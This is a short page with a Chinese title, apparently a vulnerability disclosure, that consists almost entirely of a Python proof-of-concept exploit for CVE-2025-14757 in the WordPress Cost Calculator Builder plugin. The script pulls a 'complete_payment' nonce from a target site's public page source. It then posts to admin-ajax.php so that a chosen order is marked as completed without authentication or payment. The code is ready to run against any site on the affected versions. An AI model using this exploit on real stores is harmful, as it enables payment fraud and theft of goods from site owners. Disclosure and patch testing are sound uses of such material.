CVE-2025-14757 WordPress Cost Calculator Builder未认证支付状态绕过漏洞

import requests import re # CVE-2025-14757 PoC - Unauthenticated Payment Status Bypass # Target: WordPress Cost Calculator Builder plugin <= 3.6.9 TARGET_URL = "http://target-wordpress-site.com" ORDER_ID = "123" # Target order ID to mark as completed def get_nonce(): """Extract nonce from window.ccb_nonces object in page source""" try: response = requests.get(TARGET_URL, timeout=10) # Search for ccb_nonces in page source match = re.search(r'window\.ccb_nonces\s*=\s*({[^}]+})', response.text) if match: nonce_data = match.group(1) # Extract complete_payment nonce nonce_match = re.search(r'["\']complete_payment["\']:\s*["\']([^"\']+)["\']', nonce_data) if nonce_match: return nonce_match.group(1) return None except Exception as e: print(f"Error extracting nonce: {e}") return None def bypass_payment_status(nonce, order_id): """Send malicious request to mark order as completed""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { "action": "complete_payment", "nonce": nonce, "order_id": order_id } try: response = requests.post(endpoint, data=data, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") return response.json() if response.headers.get('content-type', '').startswith('application/json') else None except Exception as e: print(f"Error sending request: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-14757 PoC - Cost Calculator Builder Payment Bypass") print("[*] Extracting nonce from target site...") nonce = get_nonce() if nonce: print(f"[+] Nonce obtained: {nonce}") print(f"[*] Sending payment bypass request for order {ORDER_ID}...") result = bypass_payment_status(nonce, ORDER_ID) if result: print(f"[+] Request result: {result}") else: print("[-] Failed to extract nonce")